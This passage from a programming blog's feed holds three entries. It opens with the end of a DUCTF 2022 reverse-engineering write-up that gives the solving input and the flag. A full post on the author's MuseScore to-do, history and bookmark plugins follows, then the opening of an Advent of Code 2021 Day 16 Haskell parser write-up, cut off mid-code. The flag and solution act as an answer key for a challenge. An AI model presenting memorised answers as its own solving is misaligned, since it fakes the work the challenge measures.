&lt;p&gt;One of the difficulties of reverse is trying to understand both the high-level aspects and low-level aspects. Sometimes skimming through the program structure helps. Other times, getting deep into the nitty-gritty aspects may help us recognise some familiar elements. This challenge was a fun little exercise to practice these two approaches.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;solve-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#solve-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Script&lt;/h2&gt;
&lt;script src=&quot;https://gist.github.com/TrebledJ/81c30da2909c4a3767aa7ab52698fa8f.js&quot;&gt;&lt;/script&gt;
&lt;h2 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h2&gt;
&lt;p&gt;Payload&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Flag&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;DUCTF{gr1d_puzzl3s_ar3_t00_ez_r1ght?}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
        
          <category>ctf</category>
        
          <category>reverse</category>
        
          <category>python</category>
        
          <category>programming</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>MuseScore Navigation Plugins</title>
        <description>Developing plugins to enhance the music editors&#39; quality of life.</description>
        <link href="https://trebledj.me/posts/musescore-navigation-plugins/"/>
        <updated>2022-09-10T00:00:00Z</updated>
        <id>https://trebledj.me/posts/musescore-navigation-plugins/</id>
        <content xml:lang="en" type="html">&lt;p&gt;MuseScore, a music notation desktop application, allows mini-extensions through its QML Plugins. MuseScore is built with the &lt;a href=&quot;https://en.wikipedia.org/wiki/Qt_(software)&quot;&gt;Qt&lt;/a&gt; framework and leverages the QML ecosystem for rapid prototyping and user-developed plugins.&lt;/p&gt;
&lt;p&gt;QML is a fun language to work with. Generally, the UI is coded in a declarative style and the logic is coded in JavaScript. This, of course, has the downside of losing the static type-checking of C++; so I would often be in the situation where I need to reload and fix things several times before getting it functioning properly.&lt;/p&gt;
&lt;p&gt;But the freedom and “I don’t care whether your types are correct” attitude of JS were quite nostalgic. Having played with QML/JS before, I decided I wanted to write some MuseScore plugins for fun &lt;s&gt;and also because I felt a need for them&lt;/s&gt;.&lt;/p&gt;
&lt;p&gt;In this post, I’ll introduce my first set of MuseScore plugins and give a brief developer’s account of them. These plugins aren’t really related to music. Rather, they’re inspired by VSCode plugins and features which I find useful. In a way, the plugins below make MuseScore more of a developer’s second home.&lt;/p&gt;
&lt;h2 id=&quot;todo-list&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/musescore-navigation-plugins/#todo-list&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; todo-list&lt;/h2&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;An update has been published for MuseScore 4.1+. Please refer to the &lt;a href=&quot;https://github.com/TrebledJ/musescore-todo-list/releases/tag/v4.0.0&quot;&gt;new release&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;View the project on: &lt;a href=&quot;https://musescore.org/en/project/musescore-do-list&quot;&gt;MuseScore&lt;/a&gt; / &lt;a href=&quot;https://github.com/TrebledJ/musescore-todo-list&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In software development, to-dos are commonly added into source code as reminders to the poor developers toiling away writing code. To-dos come in many forms: bugs to be fixed, issues to be resolved, feature requests, etc.&lt;/p&gt;
&lt;p&gt;Sometimes when composing, I find myself lost in a sea of to-dos. During a composing session, I might drop a to-do note to follow-up on it next time.&lt;/p&gt;
&lt;p&gt;Here are some examples of to-dos I might encounter while composing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TODO: Explore different chord progressions for this transition.&lt;/li&gt;
&lt;li&gt;TODO: More brass to this section.&lt;/li&gt;
&lt;li&gt;FIXME: Playback sounds wonky.&lt;/li&gt;
&lt;li&gt;TODO: Revise counterpoint.&lt;/li&gt;
&lt;li&gt;TODO: Add bowing articulation to strings.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Image showing the TODO-list plugin in action.&quot; href=&quot;https://trebledj.me/img/posts/programming/musescore/assets/plugin-todo-list-2458w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/programming/musescore/assets/plugin-todo-list-2458w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2458 / 1328&quot; alt=&quot;Image showing the TODO-list plugin in action.&quot; title=&quot;Image showing the TODO-list plugin in action.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/musescore/assets/plugin-todo-list-256w.webp 256w, https://trebledj.me/img/posts/programming/musescore/assets/plugin-todo-list-512w.webp 512w, https://trebledj.me/img/posts/programming/musescore/assets/plugin-todo-list-1024w.webp 1024w, https://trebledj.me/img/posts/programming/musescore/assets/plugin-todo-list-2458w.webp 2458w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2458px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;To allow for different to-do styles and text, I provided several settings for the user to modify. These are listed in on the &lt;a href=&quot;https://github.com/TrebledJ/musescore-todo-list&quot;&gt;GitHub readme&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;developer-s-note&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/musescore-navigation-plugins/#developer-s-note&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Developer’s Note&lt;/h3&gt;
&lt;p&gt;This plugin is inspired by the todo-tree plugin in VSCode, which searches files in the current workspace for &lt;code&gt;TODO&lt;/code&gt;s/&lt;code&gt;FIXME&lt;/code&gt;s and lists them in a tree view. I toyed with idea of replicating this on MuseScore—listing to-dos on all open scores—but eventually decided to embrace the &lt;a href=&quot;https://en.wikipedia.org/wiki/KISS_principle&quot;&gt;KISS principle&lt;/a&gt; and just list to-dos for the current score.&lt;/p&gt;
&lt;p&gt;When starting, I took reference of &lt;a href=&quot;https://musescore.org/en/project/annotations&quot;&gt;jeetee’s annotation plugin&lt;/a&gt;. I noticed jeetee used Qt Quick Controls 1.0 instead of 2.0 used in some other plugins. Apparently, QML had made some drastic changes to the styling of controls (buttons, checkboxes, etc.). In 1.0, controls used the native style (e.g. Apple’s aqua style for macs). On the other hand, 2.0 controls require developers to customise styling; this may sound great for design flexibility, but in my experience it’s annoying to get it working with both light and dark themes.&lt;/p&gt;
&lt;div class=&quot;center rw mb-2 h-auto lightbox-gallery&quot;&gt;
&lt;a class=&quot;&quot; title=&quot;Qt-Quick examples.&quot; href=&quot;https://trebledj.me/img/posts/programming/musescore/assets/plugin-qtquick1-880w.webp&quot;&gt;&lt;img class=&quot;multi&quot; src=&quot;https://trebledj.me/img/posts/programming/musescore/assets/plugin-qtquick1-880w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:49.59%;aspect-ratio: auto 880 / 504&quot; alt=&quot;Qt-Quick examples.&quot; title=&quot;Qt-Quick examples.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/musescore/assets/plugin-qtquick1-256w.webp 256w, https://trebledj.me/img/posts/programming/musescore/assets/plugin-qtquick1-512w.webp 512w, https://trebledj.me/img/posts/programming/musescore/assets/plugin-qtquick1-880w.webp 880w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 880px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;Qt-Quick examples.&quot; href=&quot;https://trebledj.me/img/posts/programming/musescore/assets/plugin-qtquick2-876w.webp&quot;&gt;&lt;img class=&quot;multi&quot; src=&quot;https://trebledj.me/img/posts/programming/musescore/assets/plugin-qtquick2-876w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:45.41%;aspect-ratio: auto 876 / 548&quot; alt=&quot;Qt-Quick examples.&quot; title=&quot;Qt-Quick examples.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/musescore/assets/plugin-qtquick2-256w.webp 256w, https://trebledj.me/img/posts/programming/musescore/assets/plugin-qtquick2-512w.webp 512w, https://trebledj.me/img/posts/programming/musescore/assets/plugin-qtquick2-876w.webp 876w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 876px&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Qt Quick Controls 1.0 vs 2.0. The latter comes with barely any default and takes more effort to properly set up.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Implementation-wise, the todo-list plugin aims to be self-contained and simple. Self-contained, meaning that everything is in a single .qml file, so that the user doesn’t need to bother with structure too much. Simple, meaning that it doesn’t store too much metadata. The plugin only stores the configuration options mentioned above. I avoid storing data such as measure and staff—which are alike the x and y position in a score—because things get messy when the stored to-do is displaced, e.g. when a user inserts a bunch of measures or removes an instrument.&lt;/p&gt;
&lt;p&gt;Even though I’ve used Qt before, I was still surprised with how easy it was to set up a form dialog to configure user settings. Just slap together a &lt;code&gt;Dialog&lt;/code&gt;, &lt;code&gt;GridLayout&lt;/code&gt;, several &lt;code&gt;Label&lt;/code&gt;s and &lt;code&gt;TextField&lt;/code&gt;s, code the logic, and violà—we have our settings dialog.&lt;/p&gt;
&lt;h2 id=&quot;history&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/musescore-navigation-plugins/#history&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; History&lt;/h2&gt;
&lt;p&gt;View the project on: &lt;a href=&quot;https://musescore.org/en/project/musescore-navigation&quot;&gt;MuseScore&lt;/a&gt; / &lt;a href=&quot;https://github.com/TrebledJ/musescore-navigation&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This plugin keeps track of where your cursor has been so that you can easily jump back and forth between different points in time (effectively making you a time traveller!).&lt;/p&gt;
&lt;p&gt;When programming in an IDE, it is sometimes necessary to jump to a different part of code, then jump back to where you were before. For example, you might want to check the implementation of a certain function.&lt;/p&gt;
&lt;p&gt;Similarly, when editing a score one might wish to visit a section, perhaps copy something, then return to their previous position.&lt;/p&gt;
&lt;p&gt;The History module comprises three separate plugins:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go Back,&lt;/li&gt;
&lt;li&gt;Go Forward, and&lt;/li&gt;
&lt;li&gt;the UI.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first two are action plugins—plugins without any visual component, and just run—whereas the third contains a simple UI. The need for a UI makes the module slightly inflexible for reasons explained below.&lt;/p&gt;
&lt;h3 id=&quot;developer-s-note-1&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/musescore-navigation-plugins/#developer-s-note-1&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Developer’s Note&lt;/h3&gt;
&lt;p&gt;There are some limitations to this module, the root cause being the limited MuseScore plugin API.&lt;/p&gt;
&lt;p&gt;For the plugins to work properly, the UI plugin must be activated at all times. This plugin is responsible for recording cursor positions, since MuseScore does not provide a way for plugins to record score/cursor information in the background. We &lt;em&gt;could&lt;/em&gt; start a subprocess, keylog user input, and interpret it to determine where the cursor currently is… but this is of course out of the question, it’s much too tedious and not worth the effort.&lt;/p&gt;
&lt;p&gt;Another drawback is that plugins can’t jump across scores. This is very convenient in IDEs when you have several files open and want to quickly check/copy something from a different file. In MuseScore however, this simply isn’t possible (as far as I could see). So for now, we’ll have to be content with keeping cursor history isolated within each score.&lt;/p&gt;
&lt;h2 id=&quot;bookmarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/musescore-navigation-plugins/#bookmarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Bookmarks&lt;/h2&gt;
&lt;p&gt;View the project on: &lt;a href=&quot;https://musescore.org/en/project/musescore-navigation&quot;&gt;MuseScore&lt;/a&gt; / &lt;a href=&quot;https://github.com/TrebledJ/musescore-navigation&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Marks down a section, saving it so that you can easily return to it later without the pain of scrolling.&lt;/p&gt;
&lt;p&gt;This is really useful for large scores, where scrolling from front to middle to end can be pain. An existing built-in way to jump around sections is to use rehearsal marks plus MuseScore&#39;s timeline. However, I find this insufficient since a rehearsal mark only carries horizontal positioning info (measures), but not vertical positioning info (staffs).&lt;/p&gt;
&lt;p&gt;The Bookmarks module comprises four plugins:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to Previous Bookmark,&lt;/li&gt;
&lt;li&gt;Go to Next Bookmark,&lt;/li&gt;
&lt;li&gt;Toggle Bookmark at Cursor, and&lt;/li&gt;
&lt;li&gt;Clear All Bookmarks.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All of these are action plugins, so in my mind they’re fairly simple and straightforward.&lt;/p&gt;
&lt;h3 id=&quot;developer-s-note-2&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/musescore-navigation-plugins/#developer-s-note-2&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Developer’s Note&lt;/h3&gt;
&lt;p&gt;This module was inspired by the VSCode bookmarks plugin. In VSCode, bookmarks allowed you to jump between bookmarks across files and long stretches of code. Sadly alike History, Bookmarks doesn’t jump across files.&lt;/p&gt;
&lt;p&gt;Something else to note—and this applies to all my plugins here: currently, I use a rather hacky method to jump to the selected notes:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token function&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;note-input&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;note-input&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JavaScript&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We call the command twice to toggle between the two different modes (default and note-input).&lt;/p&gt;
&lt;p&gt;However, when jumping to a specific measure + staff, MuseScore will scroll to the correct measure, but not the staff. Logic-wise, nothing is affected since the correct measure + staff are selected. The problem is just a UI issue which the MuseScore Plugins API doesn’t have a solution for. 😢&lt;/p&gt;
&lt;p&gt;For History and Bookmark, I decided to use separate JS files to hold all the logic. This promotes code reuse. For example, both &lt;em&gt;History: Go Back&lt;/em&gt; and &lt;em&gt;History: Go Forward&lt;/em&gt; use the same underlying function to iterate across the score.&lt;/p&gt;
&lt;p&gt;I tried commenting my code cleanly, in case I need to come back to it later; I’m quite forgetful.&lt;/p&gt;
&lt;p&gt;JavaScript’s lack of type checking really irks me. I’m toying with the idea of using TypeScript and compiling the file to JavaScript for testing. I’ve already set up a MakeFile for packaging (zipping) the files anyway, so might as well add a rule that compiles .ts into .js and gain type safety.&lt;/p&gt;
&lt;h2 id=&quot;epilogue&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/musescore-navigation-plugins/#epilogue&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Epilogue&lt;/h2&gt;
&lt;p&gt;If you’ve read this far, then you’re probably aware that these plugins aren’t perfect. But most of these issues can&#39;t be trivially fixed due to limitations with the Plugin API.&lt;/p&gt;
&lt;p&gt;In my development roadmap, I’ve planned several new (music-related!) plugins. As MuseScore 4 is coming out, I’ll also need to plan the maintenance of the above plugins.&lt;/p&gt;
&lt;p&gt;If you’re interested in using the plugins or contributing, you can check the MuseScore or GitHub links below.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;To-Do List&lt;/strong&gt;: &lt;a href=&quot;https://musescore.org/en/project/musescore-do-list&quot;&gt;MuseScore&lt;/a&gt; / &lt;a href=&quot;https://github.com/TrebledJ/musescore-todo-list&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;History + Bookmarks&lt;/strong&gt;: &lt;a href=&quot;https://musescore.org/en/project/musescore-navigation&quot;&gt;MuseScore&lt;/a&gt; / &lt;a href=&quot;https://github.com/TrebledJ/musescore-navigation&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Thanks for reading, and happy musing!&lt;/p&gt;
</content>
        
          <category>programming</category>
        
          <category>project</category>
        
          <category>qml</category>
        
          <category>js</category>
        
          <category>apps</category>
        
          <category>qt</category>
        
          <category>music</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>AOC 2021 Day&amp;nbsp;16 – Parser Combinator Fun</title>
        <description>Decoding packets with monads.</description>
        <link href="https://trebledj.me/posts/aoc-2021-day-16/"/>
        <updated>2022-08-23T00:00:00Z</updated>
        <id>https://trebledj.me/posts/aoc-2021-day-16/</id>
        <content xml:lang="en" type="html">&lt;p&gt;This post is a writeup on solving the &lt;a href=&quot;https://trebledj.me/tags/aoc/&quot;&gt;Advent of Code&lt;/a&gt; &lt;a href=&quot;https://adventofcode.com/2021/day/16&quot;&gt;2021 Day 16 challenge: Packet Decoder&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;the-problem&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-16/#the-problem&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Problem&lt;/h3&gt;
&lt;p&gt;We&#39;re given as input a string of hexadecimal characters (&lt;code&gt;0&lt;/code&gt; to &lt;code&gt;F&lt;/code&gt;). Our mission? To translate those characters into an expression of packets (part 1) and to then evaluate it (part 2).&lt;/p&gt;
&lt;p&gt;Before diving into code, we should first understand the format of the packets, what exactly we need to parse, and what we&#39;re looking for. The majority of this section is just me trying to summarise the &lt;a href=&quot;https://adventofcode.com/2021/day/16&quot;&gt;problem&lt;/a&gt; without all the fluff. I&#39;ll skip over some things, but if you&#39;re confused, just read the full explanation on AOC.&lt;/p&gt;
&lt;p&gt;To start off, we&#39;re given a bunch of hex characters:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;D2FE28&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;To decode the packets, we first need to translate each character into binary (&lt;code&gt;1&lt;/code&gt;s and &lt;code&gt;0&lt;/code&gt;s). The above hex string translates to:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;110100101111111000101000&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We can now begin parsing packets. There are two kinds of packets: &lt;strong&gt;literals&lt;/strong&gt; and &lt;strong&gt;operators&lt;/strong&gt;. There is also the notion of &lt;em&gt;sub-packets&lt;/em&gt;, meaning a packet can be a child of another packet.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Literals. The format of literal packets is &lt;code&gt;VVVTTT[AAAAA]+&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;VVV&lt;/code&gt;: 3 bits for the version number.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TTT&lt;/code&gt;: 3 bits for the packet&#39;s type ID. A literal packet will &lt;em&gt;always&lt;/em&gt; have type ID 4. Any other type ID is an operator.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[AAAAA]+&lt;/code&gt;: at least one group of 5 bits. The last group will start with a &lt;code&gt;1&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Operands. There are two types of operand packets, I&#39;ll just call them &lt;em&gt;length-based&lt;/em&gt; operand packets and &lt;em&gt;count-based&lt;/em&gt; operand packets.
&lt;ul&gt;
&lt;li&gt;Length-based operands have format &lt;code&gt;VVVTTTIL{15}...&lt;/code&gt;.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;VVV&lt;/code&gt;: as before, these are the 3 bits of version number.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TTT&lt;/code&gt;: 3 bits of type ID.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;I&lt;/code&gt;: the length type ID. For length-based operands, this is &lt;code&gt;0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;L{15}&lt;/code&gt;: 15 bits indicating that the &lt;em&gt;next&lt;/em&gt; &lt;code&gt;L{15}&lt;/code&gt; (decimal) bits are &lt;em&gt;sub&lt;/em&gt;-packets.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Count-based operands follow &lt;code&gt;VVVTTTIL{11}...&lt;/code&gt;.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;VVV&lt;/code&gt;, &lt;code&gt;TTT&lt;/code&gt;: ditto.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;I&lt;/code&gt;: the length type ID. For count-based operands, this is &lt;code&gt;1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;L{11}&lt;/code&gt;: 11 bits indicating the &lt;em&gt;number&lt;/em&gt; (or count) of sub-packets.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;(See the AOC explanation for examples.)&lt;/p&gt;
&lt;p&gt;Our input would be provided as a single large packet, containing many subpackets (and subpackets within subpackets, etc.). For part 1, we need to sum the version numbers of all packets. For part 2, we need to evaluate the expression of packets. Operand packets have different operations, determined by their type ID.&lt;/p&gt;
&lt;h3 id=&quot;solving&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-16/#solving&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solving&lt;/h3&gt;
&lt;p&gt;If I were using C++, I might try using bit-fields, some &lt;code&gt;std::bit_cast&lt;/code&gt;/&lt;code&gt;std::reinterpret_cast&lt;/code&gt; magic, and a couple classes plus inheritance. Sticking to my &lt;a href=&quot;https://trebledj.me/posts/aoc-2021&quot;&gt;resolve&lt;/a&gt; to use Haskell or Rust, I decided to use parser combinators.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The template I&#39;m using allows me to solve a challenge by writing three functions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;parse :: Parser Packet&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;part1 :: Packet -&amp;gt; Int&lt;/code&gt;, and&lt;/li&gt;
&lt;li&gt;&lt;code&gt;part2 :: Packet -&amp;gt; Int&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These will be covered in this post. The driver code of the template (&lt;code&gt;defaultMain&lt;/code&gt;) is elaborated in my &lt;a href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils&quot;&gt;Haskell utilities&lt;/a&gt; post.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;parsing&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-16/#parsing&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Parsing&lt;/h4&gt;
&lt;p&gt;We&#39;ll cover the &lt;code&gt;parse&lt;/code&gt; function first, and move towards &lt;code&gt;part1&lt;/code&gt; and &lt;code&gt;part2&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;parse&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Packet&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;parse&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;subparse&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;packet&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;concatMap&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;hex&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;read&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;toBinary&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;0x&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
 &lt;span class=&quot;token keyword&quot;&gt;where&lt;/span&gt;
